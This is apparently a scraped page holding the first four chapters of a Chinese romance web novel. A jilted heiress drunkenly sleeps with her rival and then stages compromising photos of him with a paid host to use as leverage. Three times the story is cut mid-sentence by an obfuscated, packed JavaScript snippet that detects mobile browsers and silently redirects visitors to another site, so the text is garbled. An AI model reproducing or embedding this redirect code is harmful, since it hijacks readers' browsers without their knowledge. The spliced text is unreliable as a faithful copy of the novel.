《大小姐有麻烦》 1. 第 1 章 蛇形闪电在云层里穿梭,夜幕时不时亮起鬼魅的紫,直到一声滚雷响起,磅礴的大雨倾盆而至。 城郊京韵别墅,卧室内一片暗寂,短绒地毯上一摊血红还未干透,角落里半人高的公仔被开膛破肚,脑袋上还插了把小巧的剪刀,一道拖长的影子投在墙壁上。 IPAD的屏幕亮着,白光打在女人脸上,她面无表情地在网页上搜索—— 「如何让人神不知鬼不觉地消失在世界上?」 浏览了一会,一直没有合法的可行性方案,叶声笙眼睑耷拉着,嘴角始终抿成一条线。她又切换了某鱼App,在键盘上敲击一组数字登录,99+的消息立刻爆炸一般弹出来,洗澡前发的一百四十六个闲置已经悉数被人拍下。 真没想到,「一元清渣男礼物」会这么受欢迎,买家都不怕晦气的吗? 转让的闲置从大牌包包到玫瑰永生花,从情侣眼镜到同款运动手环,但凡跟祝泽沾点关系的礼物无一幸免。 每条帖子的正文内容都一样:渣男姓祝,祝姓男士不卖;小三姓高,高姓女士不卖;小三老家在余城,余城地址不发货。 别看只是没头没尾的寥寥几行,信息量巨大。 选择性地看了部分买家咒骂渣男贱女的留言,叶声笙勉强出了口恶气,她把IPAD丢到一旁,喝掉剩下的半杯红酒,重新躺回床上酝酿睡意。 今天是祝泽出轨高雪莹的第三天,也是叶声笙沦为全网笑柄的第三天。 两人是一个是她的未婚夫,一个是她在英国留学朝夕相处四年的闺蜜,竟然在她眼皮底下勾搭到了一起。叶声笙这几天饭没吃好觉没睡好,心情也经历了好几轮的起伏,错愕、愤怒、想在暗网找杀手……总之是一点也没有平复。 偏偏她爸妈去了意大利过珍珠婚纪念日,叶淮生在热搜登顶的时候告诉她手机关机不要做任何回应,所有事情等他回来处理。 毕竟小辈的绯闻再怎么闹,也不能扯到两家集团的利益上。 连反击都不行,实在是太憋屈了。 况且,他祝泽凭什么出轨?要出也是她出好吧。还有高雪莹,她资助她英国读书的学费,带她回京市发展事业,又把她带进自己的圈子,高雪莹就是用陪她未婚夫睡觉来报答的。 呵呵。 而且渣男浪.女偏偏去香港出轨,还被当地的狗仔拍个正着,连着标题放出了好几张亲热照。封面那张是在酒店里,薄透的窗帘里,女人双腿朝天,美编贴心地放大了脚背绷直的细节,不用猜都知道两人在房间里做了什么。 #祝家太子爷铜锣湾沦陷高潮脚# #被闺蜜撬墙脚,最美名媛沦为小可怜# 但凡这事儿发生在大陆,热搜上的标题都不会像如今这么难听。 三天了,祝氏肯定是破产了,才让一条出轨的花边新闻迟迟降不下热度。 叶声笙回国不到一年,凭借美貌和家世倒是热搜的常客,却是第一次被人以这样的方式围观。她觉得好累好累,只希望古希腊掌管死亡的神可以快点出手。 空气中有淡淡的酒味,叶声笙抠着被角在黑暗中瞪着天花板发呆。门口突然有脚步声停留,叩门声在寂静的空气中敲响,她立刻闭眼。 保姆轻声细语:“大小姐,付小姐来找您了。” “我睡着了。” 闷闷的声音从枕头里传出。一想到外面有多少人在八卦这段三角关系,多少人在手机里传播闲言碎语,叶声笙就不想见任何人。 突然,开门声灌入房间,卧室灯被当头拍亮,付芷橙风风火火地闯进来,凝固的空气里划过一道潮湿的风。 “姑奶奶,你能不能接电话呀,急死我了。” 付芷橙是她十几年的好闺蜜,两人从幼儿园到高中一直念的都是同一所,是名副其实的异姓姐妹。 叶声笙差点被晃得失明,忙用被子蒙住脑袋:“大晚上的,你来干吗?” 付芷橙还没到床边,就被插着剪刀的公仔绊了一下,以C开头的脏话脱口而出:“宝贝儿,外面都翻天了,你躲在卧室里搞巫蛊之术,我真的是服了你了。” 她没什么眼力价地扯床上的真丝被,可惜叶声笙死守阵地,誓要做一只合格的缩头乌龟。 付芷橙没扯动被子,直接坐在床上:“奥斯卡真的欠祝泽一座小金人,平时不抽烟不喝酒不泡吧装得人模人样的,结果他出轨。还有高雪瑶,我早就跟你说她是捞女,你还不信。” 她夹着喉咙,用一种极为做作的嗓音模仿:“为什么呀?怎么会这样呀?张总你真厉害呀!你真觉得这种说话方式没问题?” 叶声笙以为自己已经对出轨一事脱敏,没承想一听到两人的名字还是火冒三丈。她气呼呼地她拉下被子,头发乱蓬蓬的,像炸毛的孔雀:“你少事后诸葛亮。” “是你事前少根筋。” 付芷橙继续忿忿地控诉:“跟我们在一起的时候,她什么问题都没有,只要现场有男人,她就被猪神精准普度了,这不就是典型的捞女嘛!” 叶声笙浑身潮热,眯着眼睛看她:“她们背地里都是怎么说我的?” 这问题其实问得多余,因为答案显而易见。 可没想到原本骂人不喘气的付芷橙却突然噤了声。因为她察觉到叶声笙好像真的什么都不知道,态度突然变得欲言又止:“倒是也没说什么……” 两人做了闺蜜多年,叶声笙瞬间就察觉到了不对劲。她撑起手肘支起半边身子,以迎接风雨的姿态:“说吧,他们都说什么了?” 她说这话的时候,特别淡然,好似什么难听话都能接受了一样。 付芷橙盯着她看了几秒,最后眼一闭:“高雪瑶做了个PDF,把你这些年蛐蛐别人的话都整理在上面,圈子里已经乱成一锅粥了。” 雨滴噼里啪啦地砸在落地窗上,房间内落针可闻。 叶声笙长发从肩头滑落,裸露在外的细白手臂微微发抖,不知道是支撑不住身体的重量还是气的,她用付芷橙的手机看完了PDF的全部内容。 PDF里把她在背后蛐蛐别人的证据做得有鼻子有眼。 有一些是闺蜜之间的体己话,更多的是把刻意引导的答案移花接木。 她从枕头下摸出手机,开机后差点给手震麻,无数消息疯狂地弹跳出来。叶声笙点开其中一个涉事人的头像,朋友圈已经是无法查看的状态,她又连续查看了好几个人,都是如此。原来人气到极致是会无语的,叶声笙黑眸闪着危险的光,唇瓣被咬得通红,胸腔微微起伏。 在她顾全大局被舆论镇压在家里的时候,对方不讲武德地先下手为强—— 现在她被整个圈子孤立了。 付芷橙小心翼翼地看她的表情:“现在怎么办?” 窗外又响起雷声,叶声笙抚过额头,看了眼玻璃上的水迹,浓浓的杀意压过淡淡的死欲。 “哪有卖血滴子的?” 一小时后,红色跑车绕过半个城市,付芷橙把她带到一家新开的夜店——【渡】。 名字还挺应景的,一念成佛,一念成魔,过程都算是渡劫。 【渡】是大学城附近新开的夜场,足够远,足够偏僻,可以避免遇见熟人,更可以毫无顾忌地彻头彻尾醉一场。 厚重的红光里,叶声笙穿着人鱼姬修身裙在人头攒动中穿梭,各种香水味、酒精味迎面袭来。 卡座是付芷橙找了店里公关定的位置,她们到的时候,各种颜色的酒水已经整整齐齐地摆满桌子。 叶声笙把包包随意掷到角落,身子往后靠着沙发,表情很淡地给自己倒酒,浑身上下每一个细胞都写着“莫挨老子”四个大字。 她平时不太喜欢这种场合,嫌吵,嫌烟味太大。但是今天,喧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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牛!叶声笙在心里默默地给闺蜜竖大拇指,虽然不认同她的话,不过到底还是被影响,信仰裂开了一道小小的缝隙。 喝第四杯酒的时候,周围的喧嚣突然变大,她蹙眉抬头,视线里突然闯进一个男人。 那时候,现场的音乐震耳欲聋,层层叠叠的手臂都在狂欢,男人像一个格格不入的个体穿过人群,慵懒地坐在吧台喝酒。有人勾着肩膀跟他说话,他侧头听,整个人帅得漫不经心。 频闪的光线勾勒出他利落的轮廓,鼻梁高耸,下颚线棱角分明。她睁着迷离的双眸,盯着那人的方向,不自觉地看了一会儿。 或许是察觉到了斜后方过于炙热的眼神注视,男人随意地往外撂一眼。 两人的视线在燥热的空气里相撞。 叶声笙没戴隐形眼镜,自然也就没有察觉对方明目张胆的打量。 寂寥的光线里,脑子里循环往复的都是祝泽和高雪瑶的背叛,不知道被哪根神经点燃了躁动,她放下酒杯,颇有耐心地整理了下裙摆,起身往红光深处走。 周遭集满了爱慕的视线,不少男人都在看她。 十秒后,叶声笙站在男人身前,浅漾着笑,仿若无声又蓄意的勾引:“我有根儿睫毛掉进眼睛里了,可以帮我看一下吗?” 男人手里握着酒杯,视线始终没有错开,骨节分明的手指在玻璃壁上弹动,自带一股懒意。 “你确定要我帮忙?” 叶声笙看不清他的五官,但感受到了他的笑意,虽然表面还维持得体的表情,心里却一个咯噔。 第一次搭讪就铩羽而归?! 烟雾缭绕中,男人慢吞吞地俯下身子,唇角勾起的弧度透着些许玩味:“叶声笙,你是喝到假酒了吗?” 俊容逼紧,那张脸在她眼前放大。 渐渐清晰。 “我是边澈。” …… 叶声笙的瞳孔细微地放大。 果然取付芷橙的精华,是会合成糟粕。 她搭讪搭到了自己的死对头。 2. 第 2 章 红蓝光交替频闪,电音陡然变调,夜场到了整晚最热的时刻。 边澈的声音独独从喧嚣中分离出来,像一记闷棍敲在了脑仁上,再以雷霆之势让人石化。 叶声笙的背脊瞬间绷直了,每一根汗毛都是僵硬的,胸腔的空气也变得稀薄,大脑从一片空白变成恍恍惚惚,视线在黑暗中凝成了实质,她短促地眨了眨睫毛。 刚刚的酒有问题。 毒性很大,还会产生幻觉。 要不是大脑接收到了奇怪的指令,她怎么会觉得边澈长得帅,又怎么会在十六亿人里搭讪了他? 说起两人的宿怨,确实由来已久,久到在祝泽和高雪瑶住进叶声笙黑名单之前,这个单间是归边澈独享的。 其实仔细想想,叶声笙小的时候,还真跟边澈有过一段过从甚密的童年时光。那时候边澈还是一个帅气小正太,虽然皮了一点,但也没那么讨厌,偶尔还会帮助小公主教训那些没有礼貌的男生。 印象是什么时候开始转变的呢? 那时候是礼德国际高中开学后的第一个月,学校组织篮球赛,啦啦队的选拔也如火如荼地同步进行,人选讨论度甚至比篮球赛更加热烈。因为选拔啦啦队长是假,评选校花是真,调查问卷涵盖三个年级六百多人,公信力毋庸置疑。 叶声笙从劳斯莱斯后座下来的时候,校服裙摆轻轻扬起。不知道谁喊了她的名字,她别头去看,五官一下子清晰地呈现在众人的目光中。 皮肤白得发光,眉眼慵懒,颧骨上一颗小痣,表情清冷。 那么显眼一人,站在学校门口的第一天就成为话题。 虽然有种懒得搭理别人的小傲慢,但是光凭颜值,也算得上是校花的不二人选。不过她本人倒是没把这种毫无营养的评选当回事,任校园里面口水讨论得横飞,自己该上课上课,改吃饭吃饭。 那天下午,叶声笙照例去博雅楼上美术课,从楼梯上到三楼往东面的教室走,刚好碰到学生会的成员在摄影班做问卷调查。 “队长的人选只有一个,多选的问卷会作废。” 本来就是陶冶情操的艺术课,老师管得不严,这会儿更是炸开了锅。 “都是这一届的新生吗?有几个名字我都没听过。” “你傻了,名字都没听过,肯定是不够惊艳呀。” 第一排的女生发出惊叹:“叶声笙今天从我身边走过,她好香,腿又细又白,身材比例超好。” 一个男生仰天长啸:“叶声笙美得太有距离感了,我喜欢林云云那种清纯型的。” 他同桌用看智力障碍者的表情看他:“少恶心,她们谁都看不上你……” 教室里讨论得热锅沸腾,边澈像一个局外人坐在最后一排吃三明治。他长腿随意地伸到桌子外,手上拿着吃了一半的三明治,满身懒意。前一晚被发小绑着打了通宵游戏,午饭都没吃,一直睡到现在。 喧嚣从前排一路蔓延,学生会同学在讨论声很快走到边澈桌前,A4纸落桌面的同时,八卦地问:“边澈,你选谁呀?” 边澈是篮球队的主力,又是学校里的风云人物,答案自然被很多人关注,不少同学都竖起耳朵。 那时,午后的阳光穿透玻璃,光柱里有灰尘在飘动,叶声笙抱着画板走在走廊里,脚步因为听到某个名字而不自觉地放慢。 边澈脸颊徐徐地动,衬衫袖子折到小臂,蜿蜒的青筋清晰可见,签字笔在指尖轻巧地旋转了两圈,他毫不犹豫地打了一个勾。 周遭响起阵阵惊呼:“林云云?!原本澈哥喜欢清纯型的呀……” “靠,那我也要改选项……” “我也改。”边澈的无脑粉纷纷倒戈。 隔着一面墙壁,叶声笙冷兮兮地朝他的方向看了眼,轻嘲一声,然后安安静静地消失在走廊尽头。 表里不一的伪君子。 边澈可以不选她,但他不该骗人。昨天啦啦队彩排的时候,边澈视线明晃晃地撂过来好几眼,当时她拿这个评选开过玩笑,他言之凿凿会投她一票。今天就帕金森发作勾错了人名,看来他的痴呆症是越来越严重了。 就这样,本该属于叶声笙的啦啦队队长之位被人一朝夺去,本来属于她的校花之位,也要另属她人。 这件事之后,她把边澈划到了对立阵营,后面两人的夙怨越结越多,成就了针尖对麦芒的立场。 不过虽然拉黑了他,这些年关于他的消息还是无孔不入。 传得最沸沸扬扬的就是,这位恒壹集团的太子爷大学期间就不务正业地创建了飞行基地SKY,还投资了东南亚首个集合电子商务平台YYBB,运营了三年后这个月在美国纳斯达克上市。 那段时间,关于边澈的热搜词条叠一起,比他的生命线都长。最值得一提的是,他创业的时候没有拿家里的一分钱,单枪匹马满世界拉融资,据说一共见了两百多个投资人,最终拉到投资成功上市。 这个履历够吹一辈子了。 就在她丑闻缠身的时候,敌人已经功成名就,真是让人心塞。 更令人心塞的是,所有的破烂事和糟心人都组团来,心口噎得难受,觉得怎么就好死不死地跟他搭讪了。 叶声笙吸一口气,稳住被迫直面的心虚:“你在这儿干什么?” 边澈看起来心情很好:“应该是来帮你摘睫毛的吧~” 他目光懒懒一抬,唇角扬起一个刻薄的角度:“不过我倒是没想到,你现在竟然这么饥不择食。” 夜场燥得很,叶声笙那张明艳娇俏的脸由白变红,眸底带着显而易见的怒火,整个人在要炸的边缘反复横跳。 几年没见,她差点忘了,边澈最擅长这种阴阳怪气的针对。 她深吸一口气,抱臂,尽量让表情看不出破绽:“我说的只是让你帮我一个忙,又不是想泡你,你没必要像个普信男似的,往自己脸上贴金。有这个时间,你还不如回公司……” 反击才进行到一半,就被一道咋咋呼呼的男声截断。 “这不是热搜女王吗?我去摇点人来围观。” 说话的人是边澈的发小隋怿。 他满身潮牌地朝她坏笑,个子挺高的,根本无法忽视。视线在两人中间辗转了几秒,最后落她脸上,意味深长地开口:“叶大小姐,我刚刚可是什么都没听见。” 此地无银三百两。 叶声笙整个人都不好了。 “说吧,要多少封口费才能闭嘴?”她用力解锁手机,打开支付宝递过去,“快点打开收款码,晚一秒都算你怂。” 每一个动作都带着显而易见的火气。 没想到边澈真的打开付款码,慢条斯理地递了过来。 “给我转多少?”懒懒的语调里透着意味深长。 怎么还真要?叶声笙愣住了。 她的钱还有用呢,给他一分都肉疼,思考了好半天,最后愤愤不平地转七十四块过去。 …… 付芷橙从舞池回来的时候,原本空荡荡的沙发坐满了人,男男女女正热火朝天地喝酒聊天。 隋怿坐在沙发上,自来熟地跟她打招呼:“橙子,过来一起玩游戏。” 一股烟味扑面而来,她嫌弃地扇了扇空气:“你们来干吗,蹭酒喝吗?” “怎么这么说话,哥们伤心了。”隋怿装得还挺像,捂着心脏拉她坐下。 京圈的二代们本来就是一个大圈子,熟稔程度或多或少受父辈们的影响,再分裂成无数个小圈子。今晚来的几个,付芷橙都认识,就是私下很少玩在一起。 更别提还有一个边澈。 不过他们都很上道,没人提出轨的热搜,也没人提那份PDF。 付芷橙从桌子上捞一瓶水,旋开盖子:“说吧,有什么阴谋诡计?” 隋怿被呛了一口酒:“叶大小姐要请澈哥喝酒,我们几个就是作陪。” “编,你接着编。” 浊艳的灯影,DJ换了一首舒缓的歌,音乐氤氲在周身,两个见面就掐的人突然饮酒对酌,一片岁月静好,怎么看都觉得不对劲。 付芷橙才不信他的鬼话,跟沙发上的人连续换了位置,一股脑地挤到叶声笙旁边,以唇贴耳:“什么情况?” “没什么。” 宿敌面前,叶声笙改走高冷路线,冷冷地觑她一眼。这种黑历史还是天知地知,她自己知道就好,要是告诉了橙子,指不定要被她嘲笑多久呢。 见她始终沉默,边澈懒洋洋地晃了晃酒杯:“刚刚……” “你闭嘴。” 他刚说了两个字,就被叶声笙刹停,眼里有杀意。 极其强烈的火花在空气中碰撞。 按照边澈以往的调性,激怒叶声笙就是他最大的乐趣,肯定要特别反骨继续讲下去,可这次竟然真的乖乖收嘴了。 他随意地倚在单人沙发上,给了付芷橙一个受人威胁的眼神之后,就慢悠悠地喝酒,看起来胜券在握的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606528|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付芷橙瞪大眼睛,满脸不可置信地岳云鹏上身:“我的天啊,你们两个有秘密了!” “你的天啊!“隋怿急赤白脸地过来拉人,”小姑奶奶,今晚是个破冰局,你可千万别掺和。” 他们走了,而叶声笙一副了无生趣的样子,连眼神上的对视都不想跟他产生。 但边澈还是不放过她,把剩下的半杯酒含进嘴里,倾身靠过来:“关于我乐于助人喜欢传播正能量的品质,还是应该多多分享的。” 这简直是在挑衅,叶声笙斜眼看他:“我请你喝酒,是为了让你闭嘴的,一个上市公司总裁,连这么一个小小的秘密都不能保守,你的员工好惨。” 边澈挑着眉,整个人轻松得不得了:“但是我觉得,他们都没你惨……” “落井下石是吧?!”叶声笙拔高音调,拳头都要攥起来了。 “主要是觉得,某人请喝酒,也没什么诚意。” “行,你等着。” 他唇边的笑意有点不羁,这在叶声笙眼里就成了讽刺的罪证,她马上招来酒水公关,把酒牌上面度数最高的几款酒点了个遍。 如果断片是目的,那么放倒男人需要一点伎俩,几轮拼酒游戏之后,两人面前的酒下得很快。 叶声笙为了灌醉边澈,自己也没少喝,她脸颊微微泛红,捋着头发看他:“小舒克,你开了一个飞行基地,是因为暗杀你的人太多,需要逃到天上吗?” 边澈喝得比她多,但是状态比她好,他把玩着手里的打火机:“小贝塔,你应该开坦克去压祝泽,怎么会在这里借酒消愁?” “那我第一个压你。”叶声笙冷哼一声,咬碎冰块含在嘴里,舌尖传来丝丝刺痛。 …… “能不能跟几位男士喝个交杯酒?” 轮转的灯光下,隔壁桌来了三个美女,这是夜场常见的大冒险游戏,也不失为另一种搭讪方式。易嗨的隋怿立刻发挥八面玲珑的本领,把女生们留下来一起喝酒。 付芷橙觉得地方阵营过于强大,这让她很没面子,于是发了条消息出去。 三分钟后,夜场经理带着四个高大帅气的男模过来。衣服都是统一的白色,尺码偏小,崩出线条明显的胸肌。 色令智昏。 叶声笙本来就有点醉了,这会儿太阳穴一抽一抽地疼。 男模们不愧是专业的酒水公关,随便一个都特别会调情:“小妹妹,想跟你喝酒,又怕你未成年。” 叶声笙今晚第一次被逗笑,“你好油。” 另一个男模把半袖慢慢提成背心,从口袋里拿出一张彩票:“你说我今晚会中大奖吗?” 叶声笙:…… 【渡】是有点英雄主义在的,让她在经历了未婚夫出轨闺蜜和搭讪了死对头之后,依然相信异性恋。 原来这就是纣王的快乐! 余光和第六感很像,叶声笙明明没有跟边澈对视,却知道他此时此刻正在看她,而她把这种关注定义为挑衅,于是拎起杯子又跟他拼了五六杯。 然后,就被天旋地转的醉意席卷了。 理智尚存的最后一秒,叶声笙还在想,“断片”计划可真是伤敌一千自损八百。 说过什么都不记得,听过什么也没有印象。 她像一个潮湿的海绵,被肆意的藤蔓攀爬,最后融化在炽热的包裹里。 东方已经泛起鱼肚白,这一天结束得太晚了。 套房的窗帘留下一道缝隙,日光从床尾溜到床头,纯白的床单上一片狼藉,女人莹白的身体上到处都是红痕。 累。 好累。 叶声笙因为困意根本睁不开眼,身体像被卡车碾过,隐约听到熟悉的手机铃声在枕边震响,她艰难地伸手去摸。 那时候稍稍起身,赤裸的腰间突然滑落一只男人的手臂,那一刻,什么酒都醒了。 她跟昨晚的男模睡了? 灼热的气息喷洒在耳后,空气中还残留着酒精的味道,她不着寸缕地被人抱在怀中,埋头看一眼,胸前全是咬痕。男人的胸膛贴在她的裸背上,她甚至能感受对方心脏的跳动。两腿间难以忽略的酸胀感,像是在提醒她,昨夜有多么的荒唐。 明亮的晨光下,叶声笙颤着眼皮侧头去看,男人在安静的环境中呼吸均匀地睡着,一张皮骨俱佳的脸孔在眼前放大,她倒吸一口凉气。 那张脸摧毁了她所有的淡定, 悬着的心也终于死了。 3. 第 3 章 空气里混杂着酒气和腥甜的味道,房间的空调打到一个很舒服的温度,但是叶声笙浑身发冷,所有的淡定都崩裂了。 太抓马了!怎么就和边澈睡了?! 她用手捂住嘴巴,狠狠咬住下唇,才避免尖叫声脱口而出。 时间一分一秒地过去,大脑如飓风过境般,叶声笙什么都想不起来,记忆就断在昨晚的“断片计划”那里。 太讽刺了,人生果然是旷野,四面八方都在漏风。 平复了好一会,她才稍稍止住了爆发的情绪,把头轻轻从男人手臂上挪开,掀开被子从一侧下床。 两条腿跟废了似的,肌肉酸痛得厉害,接触地毯的下一秒就没出息地发软,那一刻差点骂出声来,她不得不扶住床沿才勉强稳住,同时警惕地看了床上第二眼。 男人还在熟睡,眼睫阖着,眼底带着淡淡乌青,看起来是累到了极点。被子搭在他腰间,光裸的胸口上满是抓痕,一板一块的小腹,大腿肌肉线条明显,某处膨胀的部位堪堪遮住。她忙把视线移开,可发烫的脸颊还是出卖了真实的情绪,刚刚的画面一直在脑海里,连细节都是清晰的。 衣服从床边到客厅,沿途丢了一地,无声地描摹了昨晚激战的路径。 叶声笙一件件捡起来,整个过程都很安静,没有发出一点声音。 她心情复杂地进浴室,锁门,双臂撑在盥洗池的两侧,看镜子里的自己。 浴室内没有窗,暖黄的灯光打在头顶,一尘不染的镜子里,身体上的痕迹直观且清晰地进入眼帘。 头发凌乱,双目失焦,上半身布满暧昧的吻痕,最触目惊心的就是腿心的一处指痕,颜色红中带紫,一看就是遭受过非人的虐待。 从祝泽出轨高雪莹开始,原本平静的生活像被推倒的多米诺骨牌,正以不可控的趋势倾倒。 手指在“110”三个数字上盘旋了一会,知道这个电话一旦拨出就会陷入无法挽回的局面,她会再次被推到风口浪尖任人围观。而且不知道是酒醒了还是自我催眠,昨晚的某些记忆以片段形式闪现,她甚至有点不确定自己受害者的身份。 叶声笙眼尾红透地看着镜子,抽了抽鼻子,又把眼泪憋了回去。 不想了,当务之急是要立马从这个房间撤离。 眉头揪紧,她哑着嗓子用座机给前台打了电话,三秒内做了个决定。 …… 罗子明到了1208房间,没有按门铃,而是按照和客户的约定,发了短信给她。 他在京航学院读大三,业余时间在【渡】做酒水公关,赚取生活费和出国留学的学费。他长相帅气、身材高大,业绩一直很好,偶尔也会和富婆姐姐谈恋爱。 昨晚那女孩一看就是家境优渥的名媛,衣服虽然看不出牌子,可包包的配饰都是大牌,夜场的经理早就给他们培训过奢侈品的相关课程,所以即便是昏暗的夜场里,也能一眼看出对方的消费能力。不过,他是真的没想到,对方会今天突然联系他,还约在酒店里。 发了信息半天没人回复,罗子明俯耳贴上门板,隐约听见有细微的走动声,他立马弹起来,屏着呼吸等人开门。 门锁转动,他摆出一个自以为很帅的姿势:“你好呀。” 房门只开了一道缝,叶声笙羽睫上下一碰,每一个细微的表情都带着冷淡,用下巴示意他进来。 尽管白富美并没有想象中热情,罗子明还是为这样天降的好运欣喜。 这是一间豪华的总统套房,入目所及每一件家具看起来都是精品,光是墙上的艺术画就看起来价值不菲。 就在罗子明想要要使出什么样的招数打破僵局的时候,一道轻飘飘的女声窜入耳朵。 “脱衣服吧,抓紧时间。” 我靠,这么直接的吗? 饶是已经有了心理准备,罗子明还是噎了一下。好在他反应快,很快露出一抹职业笑,双手交叉,动作麻利地握住体恤下摆往上掀,露出赤裸的上身,虽然肌肉不多,胜在年轻紧实。 叶声笙的视线随之移开,动作谨慎地把他往卧室方向带,随着主卧门慢慢推开,罗子明的脚步突然刹停。 床上一片凌乱,有个男人在睡觉,发生过什么不言而喻。 他倒退一步,把衣服挡在胸前,面有难色:“不好意思,美女,我不玩3P。” 不知道是不是声音有点大,床上人微微动了动,叶声笙瞪他,食指放在唇中,无声谴责的意味儿很浓,罗子明立马噤声。 她盯着里面的动静,直到确认边澈再次陷入熟睡,才压低嗓音:“又不需要你做什么实质性的东西,脱了衣服上床,我拍几张照片就行。” 罗子明吸一口气:“仙人跳?” “他喜欢玩cosplay”,叶声笙半点被拆穿的心虚都没有,双眸一片从容,“十万块,买你陪他拍几张照片。” 边澈的脸埋在被子里,罗子明看不清他的面容,自然也就不会知道自己惹上的是个什么煞星。他盯着叶声笙看了一会儿,还是没有抵抗过金钱诱惑:“遮住半边脸可以吗?” “可以。” 看得出来是个男人就行。 罗子明的上身很白,和边澈小麦色的肤色形成很鲜明的反差。因为他本身就是个直男,还没有克服心理障碍和另一个男人贴贴,所以两人隔着一个枕头的距离,他甚至裤子都没脱。 “再靠近一点……你的表情能不能有点张力?好兄弟喝多了一起睡,这不是很正常的事情嘛。”叶声笙蹙眉,现在男公关的是真的不行,道德感太高,却缺乏职业热情。 姿势摆弄了好半天,才终于拍到几张满意的照片。整个过程中,边澈就像个死人一样,始终没什么反应,叶声笙甚至有趁机揍他一顿泄泄愤的想法。不过想到手里这些把柄,不太甘心地收回了拳头。 给罗子明转了账,她拎着包起身:“钱转过去了,我先走。你的电话我拉黑了,今天我们没见过。” 房门阖上的声音在寂静的空气里回响,叶声笙走得干脆利落。 罗子明也准备溜,上衣穿到一半,别过头就猝不及防地对上了双阴冷狭长的眼眸。 “你…你醒了…”男人的压迫感太强,他猛然往后缩,直接从床上滚到了地上,连吞咽都变得艰难。 边澈清冷的眉间攒着荫翳,眸底沉得可怕,磨出一个字。 “滚。” …… 中午十二点,阳光正是毒辣的时候,昨夜的暴雨像是盛夏的过客,没留下一丝凉意。 叶声笙打了个车回京韵别墅。 上车前她特意去酒店前台查了入住登记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“发生什么事了?声笙?声笙!”付芷橙还在线,见她始终没有回复,喊了她名字好几次。 叶声笙降下车窗,自然风把长发吹得扬起,她在清新的空气中找回自己的声音。 “橙子,我有一个朋友,她做了一件特别荒唐的事情……” 话才说到一半,就被付芷橙强行打断:“是我错了,你就原谅我吧。” “什么?”叶声笙的酒精余劲儿还在,反应还是慢,本想打着“朋友”的幌子,让付芷橙替她出出主意,这会儿脑子更乱了。 “什么你有一个朋友,说的不就是我吗?其他那些塑料姐妹已经全都给你拉黑了,我就是没送你回家而已,也不至于荒唐到判我死刑吧!” 叶声笙:…… 车子拐进别墅区,她闭上眼,彻底放弃这个话题:“你接着睡吧。” 京韵别墅最近的安保已经被调整到最高级别,叶声笙降下后车窗,保安确认了身份后登记了车牌号码,才给出租车放行。 车子稳稳地开到正门,她付款下车,因为一直在想事情,整个人心不在焉,也就没看到大门口正在抽烟的男人。 祝泽迎面走过来,原本英俊的脸上满是倦容:“声笙,终于见到你了。” 4. 第 4 章 正午的阳光正是毒辣,热浪卷得人心浮气躁。 四季酒店感应门遥遥开启,冷热对冲的空气中,彭宇呼吸不匀地小跑进来。 他一身正装,手上提着购物袋,目不斜视地进了电梯间。电梯停在十二层,他穿过狭长的走廊,皮鞋被厚厚的地毯吸音,没弄出一点动静儿,他小心翼翼按下门铃。 作为边澈的特助,彭宇早就有了二十四小时待命的觉悟,虽然今天是周六,他正在餐厅陪女朋友吃饭,但老板的一个电话,他就马上放了女朋友鸽子。 彭宇是哥大金融系毕业的高才生,研究生一毕业被招进恒壹集团做边澈的生活助理,那时候他还把这份工作当成跳板。 没想到这位含着金汤匙出生的矜贵少爷不是玩玩而已,短短四年的时间,YYBB就以雷霆之势迅速扩张,并且在纳斯达克成功上市。 在国内电商发展遭遇瓶颈、资本纷撤离的关口,边澈另辟蹊径,选择了在东南亚市场扩张,光是这份独到的眼光就足以令人叹服。他们这些跟着老板冲锋陷阵的旧臣,也全都分到了原始股,后半辈子衣食无忧。 富二代不如创一代,边澈身上又兼具这个双重标签,说一句可以为老板鞠躬尽瘁死而后已,也不为过。 不过到酒店送换洗衣服这种事,这么多年来还是第一次。彭宇不禁好奇,到底是什么样的国色天香能拿下他老板。 正想着,门锁传出动静。 边澈穿着浴袍站在门口,头发还在滴水,身上有沐浴后的潮意,就是面色不虞,低气压不着痕迹地侵略过来。 彭宇双手奉上购物袋,态度毕恭毕敬:“老板,车子已经备好了。” “嗯。”边澈什么话都没留,就进了卧室。 彭宇拘谨地站在门外,进也不是,退也不是。他难免好奇地从门缝偷瞄套房内,只一眼,眼珠子差点吓掉地上。 怎么是个男人? 罗子明耷拉着脑袋,罚站般贴墙站着,像一条在砧板上大口喘气的鱼,壁纸都快抠烂了。 察觉自己好像窥探到了了不得的秘密,彭宇忙把脑袋缩回去,默默平复飓风般的颅内高压。 没过多久,边澈从卧室出来,他散漫地系上最后一颗袖扣,又慢条斯理地坐在沙发上喝了口水,眼风都没给罗子明一个,只轻飘飘地吩咐彭宇:“召集公关部到公司开会。” 彭宇心内一个咯噔,老板睡男人被人发现了? 补药啊!!! …… 三十几度的气温里,炙热的空气火烤一般,京韵别墅一隅陷入了某种僵局。 叶声笙一言不发地站在绿荫道上的连翘下,细碎的阳光透过来,鼻翼蒙上薄薄一层汗。 就在她耐心快要告罄的时候,站她对面的祝泽终于开口:“声笙,我们谈谈。” 他还是一如既往的温文尔雅,但是叶声笙不像以前一样买账了。什么斯文俊朗、温柔体贴,全都是假的,现在只让人觉得恶心。 她抱着臂,嘲讽的声音像是从牙缝里挤出来:“我们之间没什么好谈的,让我爸跟你爸谈吧。” 